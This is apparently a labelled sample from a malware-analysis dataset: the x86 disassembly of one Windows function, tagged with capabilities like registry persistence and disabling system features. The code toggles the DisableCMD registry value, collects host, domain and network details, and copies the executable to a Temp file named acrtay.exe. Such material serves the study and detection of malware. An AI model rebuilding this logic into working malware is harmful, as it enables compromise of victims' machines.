Function at 0x4015f3
Capabilities:
Check if file exists
Copy file
Disable system features via registry on windows
Get common file path
Get disk information
Persist via run registry key
Persist via windows service
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f84]
mov eax, 0x2f84
call fcn.0040e780
push 0xffffffffffffffff
push 0x417e40
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x2f80], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 4], ebx
mov ecx, 0x41e54c
mov eax, dword [0x41e54c]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 1
mov eax, 0x419dac
mov ecx, eax
test ecx, 0xffff0000
jne 0x401670
movzx eax, ax
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00403b60
jmp 0x401678
lea eax, [ebp - 0x30]
call fcn.0040385b
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0x30]
push 0x28
call fcn.004049e0
mov edi, eax
push 0x3c
call fcn.004049e0
pop ecx
pop ecx
push 0x1e
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x14
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp eax, ebx
je 0x4016c5
push 0xa
push 0x1f
push 0x41fa48
push dword [ebp - 0x54]
call fcn.00404ad4
add esp, 0x10
push 4
pop esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x3c], 7
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push ebx
push 0x419db0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40173f
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x50]
push eax
push ebx
mov edi, str.DisableCMD
push edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401736
cmp dword [ebp - 0x24], ebx
je 0x401736
mov dword [ebp - 0x20], ebx
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push ebx
push edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x18]
push eax
push 0x20019
push ebx
push str.SystemCurrentControlSetServicesTcpipParameters
mov esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4017ab
mov dword [ebp - 0x1c], 0x100
lea eax, [ebp - 0x1c]
push eax
push 0x41f1c8
lea eax, [ebp - 0x34]
push eax
push ebx
push str.HostName
push dword [ebp - 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
call edi
mov dword [ebp - 0x1c], 0x100
lea eax, [ebp - 0x1c]
push eax
push 0x41f2c8
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Domain
push dword [ebp - 0x18]
call edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x18]
push eax
push 0x20019
push ebx
push str.SystemCurrentControlSetServicesTcpipParametersInterfaces
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401a2d
mov word [ebp], bx
push 0x27fe
push ebx
lea eax, [ebp + 2]
push eax
call fcn.00404950
mov word [ebp + 0x2d00], bx
push 0xfe
push ebx
lea eax, [ebp + 0x2d02]
push eax
call fcn.00404950
add esp, 0x18
mov dword [ebp - 0x58], 0x1400
mov dword [ebp - 0x40], ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x40]
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp eax, ebx
jne 0x401a24
cmp dword [ebp - 0x40], ebx
je 0x401a24
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x38], eax
jae 0x401a24
mov word [ebp + 0x2c00], bx
push 0xfe
push ebx
lea eax, [ebp + 0x2c02]
push eax
call fcn.00404950
mov esi, str.0.0.0.0
lea edi, [ebp + 0x2f00]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x70
push ebx
lea eax, [ebp + 0x2f10]
push eax
call fcn.00404950
mov esi, 0x100
push esi
push ebx
lea eax, [ebp + 0x2d00]
push eax
call fcn.00404950
add esp, 0x24
mov dword [ebp - 0x4c], esi
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp + 0x2d00]
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, ebx
jne 0x401c2c
lea eax, [ebp - 0x20]
push eax
mov edi, str.SystemCurrentControlSetServicesTcpipParametersInterfaces_
call fcn.00403d98
mov byte [ebp - 4], 3
lea eax, [ebp + 0x2d00]
push eax
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x20]
call fcn.004037ac
pop ecx
pop ecx
mov byte [ebp - 4], 4
lea edi, [ebp - 0x20]
call fcn.0040376b
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48]
call fcn.00403def
lea eax, [ebp - 0x28]
push eax
push 0x20019
push ebx
push dword [ebp - 0x20]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401c20
mov edi, 0x80
push edi
push ebx
mov esi, 0x41f3c8
push esi
call fcn.00404950
add esp, 0xc
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push esi
lea eax, [ebp - 0x3c]
push eax
push ebx
push str.IpAddress
push dword [ebp - 0x28]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
call edi
mov dword [ebp - 0x1c], 0x100
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0x2c00]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push str.DefaultGateway
push dword [ebp - 0x28]
call edi
mov dword [ebp - 0x1c], 0x80
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0x2f00]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push str.DhcpIPAddress
push dword [ebp - 0x28]
call edi
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x24]
push eax
lea edi, [ebp + 0x2c00]
call fcn.00403d98
mov byte [ebp - 4], 5
lea eax, [ebp - 0x5c]
push eax
mov edi, esi
call fcn.00403d98
mov byte [ebp - 4], 6
or dword [ebp - 0x2c], 1
push str.0.0.0.0
push eax
call fcn.004038b1
test eax, eax
je 0x4019e7
mov eax, dword [ebp - 0x24]
cmp dword [eax - 0xc], ebx
mov byte [ebp - 0x11], 1
jg 0x4019ea
mov byte [ebp - 0x11], bl
mov dword [ebp - 4], 5
test byte [ebp - 0x2c], 1
je 0x401a03
and dword [ebp - 0x2c], 0xfffffffe
lea ecx, [ebp - 0x5c]
call fcn.00403def
cmp byte [ebp - 0x11], bl
je 0x401bca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x24]
call fcn.00403def
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.00403def
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x18]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, 0x41f448
test eax, eax
jne 0x401ac0
mov dword [ebp - 0x1c], 0x200
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Local_Settings
push dword [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
call esi
lea eax, [ebp - 0x44]
push eax
call fcn.00403d98
mov byte [ebp - 4], 8
push 0x41a9d4
push eax
call fcn.004038b1
neg eax
sbb al, al
inc al
mov byte [ebp - 0x11], al
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x44]
call fcn.00403def
cmp byte [ebp - 0x11], bl
je 0x401ab7
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Local_AppData
push dword [ebp - 0x18]
call esi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov word [ebp + 0x2800], bx
push 0x3fe
push ebx
lea eax, [ebp + 0x2802]
push eax
call fcn.00404950
mov word [ebp + 0x2e00], bx
push 0xfe
push ebx
lea eax, [ebp + 0x2e02]
push eax
call fcn.00404950
add esp, 0x18
push 0x200
lea eax, [ebp + 0x2800]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov esi, 0x80
push esi
lea eax, [ebp + 0x2e00]
push eax
lea eax, [ebp + 0x2800]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x41a0d0
push esi
lea eax, [ebp + 0x2e00]
push eax
call fcn.00404bc2
push 0x400
push ebx
lea eax, [ebp + 0x2800]
push eax
call fcn.00404950
push edi
push str._sTemp_acrtay.exe
lea eax, [ebp + 0x2800]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
lea eax, [ebp + 0x2800]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x401b81
push ebx
lea eax, [ebp + 0x2800]
push eax
lea eax, [ebp + 0x2e00]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x100
push 0x41fa88
lea eax, [ebp + 0x2800]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x30]
call fcn.00403def
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x2f80]
xor ecx, ebp
call fcn.0040488f
add ebp, 0x2f84
leave
ret
lea eax, [ebp - 0x44]
push eax
lea edi, [ebp + 0x2f00]
call fcn.00403d98
mov byte [ebp - 4], 7
push str.0.0.0.0
push eax
call fcn.004038b1
test eax, eax
setne byte [ebp - 0x11]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x44]
call fcn.00403def
cmp byte [ebp - 0x11], bl
je 0x401c14
push 0x40
mov eax, edi
push eax
push 0x40
push esi
call fcn.00404af9
add esp, 0x10
jmp 0x401a0c
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x24]
call fcn.00403def
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x20]
call fcn.00403def
inc dword [ebp - 0x38]
jmp 0x401848